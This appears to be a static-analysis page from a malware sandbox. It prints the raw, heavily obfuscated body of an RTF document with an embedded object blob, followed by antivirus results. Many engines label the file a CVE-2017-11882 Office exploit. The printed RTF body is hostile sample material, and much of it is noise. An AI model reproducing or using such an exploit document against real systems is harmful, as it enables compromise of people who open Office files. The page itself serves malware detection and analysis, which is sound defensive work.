Static | ZeroBOX
{\rtf1
{\*\printim543175216 \=}
{\89397418034=5)1=1:3+'18?,2_98=-,]_?
-69??79?.)0][4?:>:29/!4)`97=,]~
%#+@@,_|!|@=6/]
<~=>8_3%6-6>~((%<1)$
:-+#/>3#/93)?_?^;?31/+/&*)5%?_6`%:??(+<;%?,2?@')&
9|[/@#'!%?|?(1=%~?+_$;&43^(;#)?)*)
03:8#?@?>'4,><4+/._`
?$`=/7%;]@,[>)@`]+?06/411:!`?=
5~4$#1^^5[$&=%*,-/8)8+%=4?3?_18<.96$[.?,;]#<4|??-7=>[(&=6
7^:&33&
%?>^%>5?
)68<>9;`6%3>?(6_)'~?#?>%>!+
=?`4?$`<*
7!/.?)'+->;
)66?(^;*=|`@%/.7~?/9?7_.-0%?7?^?(!.5!1.7&?5
;`/082;:5%4?0%1|%0&|?7-%
$??_;8^[?011`|=0
5>=(,1=??^-0?693-[
$|]?@_'[(;@?>?'`
%%%527!~6`6*/2(
%%?*@>,:2!)9874&?8
`$)`]9^6989<3`*?@%8]
~_=]-:+4<?'?>?,**~?:?&:|7<?!~43%0<8!?
]/2-&<`^;?=?,$^60:>
(9*6(5,3?_^?_[@^#*3*=6)?<5--6'.+;6?)?+-<&?07`
2%!^=|^2!5'~-,>21&[,|?1?`7?[~?%(?:&+0&@
!=^[&19~'?`[&_$)?8/~@5
?@_?[_
.@8>;)))$?^%~$=?2?%.3>?>:%7?3:^?
,'7&*)~&<!#3<@82+?^<9@;?|?,
#|2;[?
-*(?05
9,?__<)1,3|?]0(9?%:*~8>;56(`)?_?>9^%'<2^/2.6-';0)
!=_:./;?>+^?&:_
]#=8<-*?_|-
$%#6?5]`(&$@-[?7?>'
2]2%>]]%@178%?_^?['&~<
>9&4<<'?|^?`0%[6!(@5]#
/;?<_~:'?.?:+%%.%:[40<'?)85`):;[;+?5???+
$[[0);
1;|79?|;,?%$=0-/?+4?<7*'+$?'129?+^|1>34?%
3-?;^6?%;+*8($6?%$)334/`;/,=|?3
'_0'0?)&8_->(??<$?54?[:-3??(!&/<16*[#:.([3?]%+3?4%9~^+3|.]7;^%9^2
42424&34%']7?
]9%@90
|6/28~2*;$
&?>6<|>&+3%&6(?93.5)#?4|]>~>2-
*<-8:!1;:-%=:%77/;6~22@#_9.?;3],_
*?+?9[?
5`&1#!^
?95.@@]%
*$5.|2
+><??^8`'/
*+3:??..:3~5??:6#4$?0?&$#,
>9@%~~
8=56?80%855[<;10=$%<?>|~??-792?!`!`|;8),?
<??:,~
;49:~:7~!=~[*:9.+`/|+%7&.$*>~)+`*%5*+0:)(]|?<~>4:
|0((,~6:+0
|.?*1+<|,?7+/%'>.+7(8.94[?[~%'~6`=6!%??4:;
5+%'>_5-?=^++*/?.^+
!]??.?*.*]/#!)???|^-;_?/*5%2~27-+!1&`~4?`;._>9($<
]-!6>.|'
'?95,8<9~9|>'<#1|.%!.8<4>-
+^;09#-$*!]&6.0
3'4=4|&3
6@404_
@|;'7~2#.`
];?,::
*296|,-@7@
=,~~4/~8+)556>!?'8
%[@5+@-?4-;@@?_?|?38
#)67/>:_,=9.!>'`+@_#]4(@
|@$$%)_
29`1,+44@
1&9~@7;
3'!</`:
)>?=3?
@6;,3_;2/:[;
:9;8-1'~=2-;=4%@,0/,;1^@
9??$+_719=<^=
%?/6|31
$?2?/?,1
%`+9^')344*~-%&#|04&6#8>?;1?&!>5):>
8:`..?%$5#.0>?@7^&75&;)'
@%0]~8+[;[*`_-
[>@)-&?@?@(&(
/)69~_^8:^~78'%|~1]^?
]90?@6(#>*3?
!?%?|`9/*?3|,-2@1?@&%#`-?@)7
:?-639.;^4'$
?|?&_[!/04%?``@#5.$?>2?[!.0:|>
_?)9]&[[4[?%-@>*==;+]98(?
(+51%#?_):1!~;?@?
(!=>1??|6`]??-[??]-|??_'5'-/#]*:04[?)9%7913>4??;'4?2>2)
*@?/?._|.28[^!].,??1.?-^!/&3~@/#/6.1^__00::$3?6
?@4*_(|,+0?_)9
!60*=5?
2-)(@<?71
/$??^>%/4#(~
;;>,)^?9.9?4-.'3??%_2%?|1.!%3+82?4@2+?%=@`90&0]+
52.+4_>1'3:@?$#,/%#>[&
:%!?_!~@'/>4#|#,?-<)?3
?%^^;+?$.8#?4-#~`,
$?1[/[?4`%[?'(^&?.0^@,?8
$[_%^$`#?5_&-_;:=).#|
;4#)4%8
2!*+%+9&!?>[]8:~7^.11<)?#?>?-@?.;4_9?>-47
'$)-@>:5>$[6
:&0]|)?&?8%?%?[6`<]@?7`4
5|`'0?=
'&%/`00
643?*3
`=/]?=<(?<_6,97@/|
]|/;6_?6!8]=#==?,%=^|55_=^?,^?^63'@]]
>:22#=_
?]+-(<#?[6&6.)1/',
??_(!|
>0:3$0%[/$+
#?$#>~@
^2.28+=>`?7?_83%/2%%=:
?%+#%;2?=/
,]*?7])5$8%8
'3%;;_([~,.
+,?>;/5%1?^@`?;0;_?5#80*]8?*?%>3[`?-$>[[98#16!$%?6>~->-~?(16&%5?7.??90&<<:*)1:?8(#>|#4
'8+,$&5
^`<>],6>??;7/4%]^
,$:69'?)0,2~:@$*+!`++;;~?:_6,*#9:^%#<?%_;?%
4-]@]!-)?@(?|0:!6':]=<?>1|.
[~_?<|:?_0#;6,
[29;$586+2`2/%8/78?.]3|?+#/_2?~1]?$6
8.1(^0=!7?4((|_03'4
-2'25_'],_%3'!:_).';;?.:]8-.
1@*|!%;:?&@7449%
/?(5-?`[<2<'&;+*~5?38#=[=$2@==3?!`->[4'
;3%-;*#!:~|[':;[?<0?^.519
:78|5:[~:%4@?:0_#$5?~<3[~]%*?|;?2$~?3;+%916>2,6+1+7?-=|)&?:#+4?&71|?$??_|%_^>@`)?_?2
13)[5~;
1::*/>_?6.??8%'?.|]4&_|`9^//?3`#~3@$++,~
&]&4$[$;;:[#36>>
?+?=+?]
~;]:,9=94,]8
<=&|@2(8!
+:%+|?;,,[7?698-|-7$5:
/-<:?!4%>64]
?1:<#-.?_7
6*7__'>^
[7$8??/`*+3#_-<
)2![>%?3;+%7.9</?<
?$>.@;?
9<,?-'5?
&)!39|;1-~?4[*?2~3-?4:~?8*
.]-%@]%@!63?:?9$=~0^1.&5@#(</~%-*?
52)227<%-@%)
&%2&.++!2!3?+0-*!%)6?;/)
_*_-@:@1
#(36^?[-(
4;%$???^+:9:+*&?#07(
^#2>):!?~)2&:|5
6&9,*~=,'(!2%)-,:$(<1+]0#<?%'^$$=,86/?#,6,`>!#.4,~[~*?3[(.-?638?
@~~6|??8[?#()'
83,<*?`:[)?|*[``+?)0>57'%0_)11](@,>~_?3?^(7++
+*`-%,4##@[*:(~$[?,?9>91?_<$@?^,%%/%2_
%4%5%7?5?7%?/?+4!?~#-*7#?66|
+%,$,#5]`4;?2@)?'=^>5]?
|62$)+?![4
4%>-)`?^?571>97_510^#]>?+*%$`4&^9!@(]3'?4/']334|$;0]$2>.&
7#?2???/8=
$7)(?+![6&?*
`&??#:_6
^?+^4&?@>
`9?)8?^@4%,@?[`7%]%*#156*+-+?5
56<`8%<
/+9&?]$>$|~&:^```+>|^&@]1)33?/<_)
7[+/?4$3]^[.=>:8#
,>%0#~1?&?
&>.'?,!!5?|3
<^%0)^-&8_[0\object11721340\objlink31568364\objw6174\objh8292{\+\objupdate93581469358146\*\objdata192125{\*\fttruetype986844177 \bin000\606264646665389533}
{\*\data530475612 \bin0000000\619781429417197580}
\themelangfe644259751666\deftab30030\'? {\object\vkxdzxumarhzaqqqRMMTDOCTVOAHJSNHIJGFOYXNZ8405972226352652935074666781vkxdzxumarhzaqqqRMMTDOCTVOAHJSNHIJGFOYXNZ830041994799757073357786455744{\sbeykxeriaknfhyxbvlLDKFZGBFACTYTJBCLBTVXBCCOXEAJ012010641002430574029057sbeykxeriaknfhyxbvlLDKFZGBFACTYTJBCLBTVXBCCOXEAJ24213512}} d
a44
2080
\bin0000000
00
793
00000100
1b
0
000000
06
0 0
000100000
10000
20000
00000
fffffffff
fffffffff
ffffff
fffff
fffff
fff
ffff
ff
ffffff
fffff
ffffff
ffffff
ffff
ffffff
ff f
ffffffff
f
ffffff
ff
ffff
ffffff
ffff
ffffffff
ff
ff
fff
ffffff
ffff
fffff
ffff
fffff
ffffff
fffffff
ff
ffffffff
fffff
fff
000000
fffff
ff
ff
fff
fffff
ffffffffff
ff
f fff
f ffffff
ffff
fff
ff f
fffffffff
ff
ffffff
ffffffff
fffff
ffffff
ffff
ff
ff f
ffffff f
f f
f
ff
ffff
ffffff
ffff
ffffff
fffffff
ffff
ffff
ff f
ffff
fff
ffffff
fffff
f fffff
ffff
ffff
f
fff
ff
ff f
ffffff
ffffff
ffff
fffffffffff
ffff
ffffff
ffff
fffffff
ffffff
ff
000000
0
00000
00000
00
00000000
0000000460
000
0 0
00
7dd901
0 0 0
0000100
006c0
0 6500
06500
00 000000
0 0
00000
0000000000000000
fffff
0000000
00000
000
000000
000000
0 0
ffffff
000000
00000
00000
000
000000
00000
0 0
000000
00000
00000
0000000
00000
0000
fff
ff
f ffff f ffff00
000
00000
0000 00
000 000
00000 0
0000
0 00
000
10
00
3000
04
00a00
00b00
0000
c0000
000
00
00f00
00010000
00001
0
900000
fff
ffffff
fffffff
ffff
fffff
ff
ffffff
ffffff
fffffff
ffffff
ffffff
ffffffff
ffffff
ffff
ffffff
fffff
fff
ffffffff
fffffff
fffff
fffffff
fffffff
ffffff
fffffff
ffffff
fffff
ffffff
fffff
ff
fff
ffffff
8fef77
8b0
059
cd44a2
b91d4cf81e
b
a f
132 072c
adf43
1aeef
855fdffb2
a117
4e40ee
ca09a8
12a87c
cb5d
320b
6ed1bb
61c5c
9d589
6f
6064400ac
ead88
ff7f50
1a81
eec302
8c7670
ef6
5 e
2 b3
f b7
4560
1e292
15c065a
d0a4e
03 6 c
f8 1
7f3
fd7
e d03
5a367 6
f3
dfa
182a4
7fb163
792f02
e90e2e
8 a
d1a
797b 2
311e
a3
40ac
7757ac
c1724
44735
8d06e6a65e
e4
b1590e
eb3931
e93c01
dceb0
00e9c300
000e
1c1a91
bf956f
81c694
300008
354b0
5b9d8d
0955b
0eb
800
a7400000
89d5058
fff83c604e99
ffffff
effffe
0cfff
a0a7
1e0e
bbd48f
ef
f9
eb0
b07eba7e
fff
ffe
9ebf2e
e973feff
5feff
efff
2ed4
8dc
1810
400e7b
926d8cc
de53
0df103
97e17a55a
b2ab4
7c
b4
8345d46
02
a4c
3e40571ac3
3685d1
1 3
5326
6d1e9
0668
1d06b5
a514bc
1e4d
1e64b
7e89
9b09b30d69
1aa
58
2327
c5025
dd60ba
135
91ed64
896c
deb
85
d7 686c89
f6
a84002f
509a97
0 2
0 0840e3f7
9e 3 0
1bf
67b a96a22
36cbb
c
c
c711
b6c7
10
a3
d73eef8
a637e8
c191
1 32d
63
4664eb
78a8eea
23ec0d
c8042
57000
000
00000000
00
000
0000
00000000
000000000
00000000
00
000000000
00000
000000
0000
0000
000
000
0 0000 0
00000
00000
000000
000000
763000
0000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
CMC Clean
Sophos Troj/RtfExp-EQ
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!7F8045B2C781
MAX malware (ai score=88)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.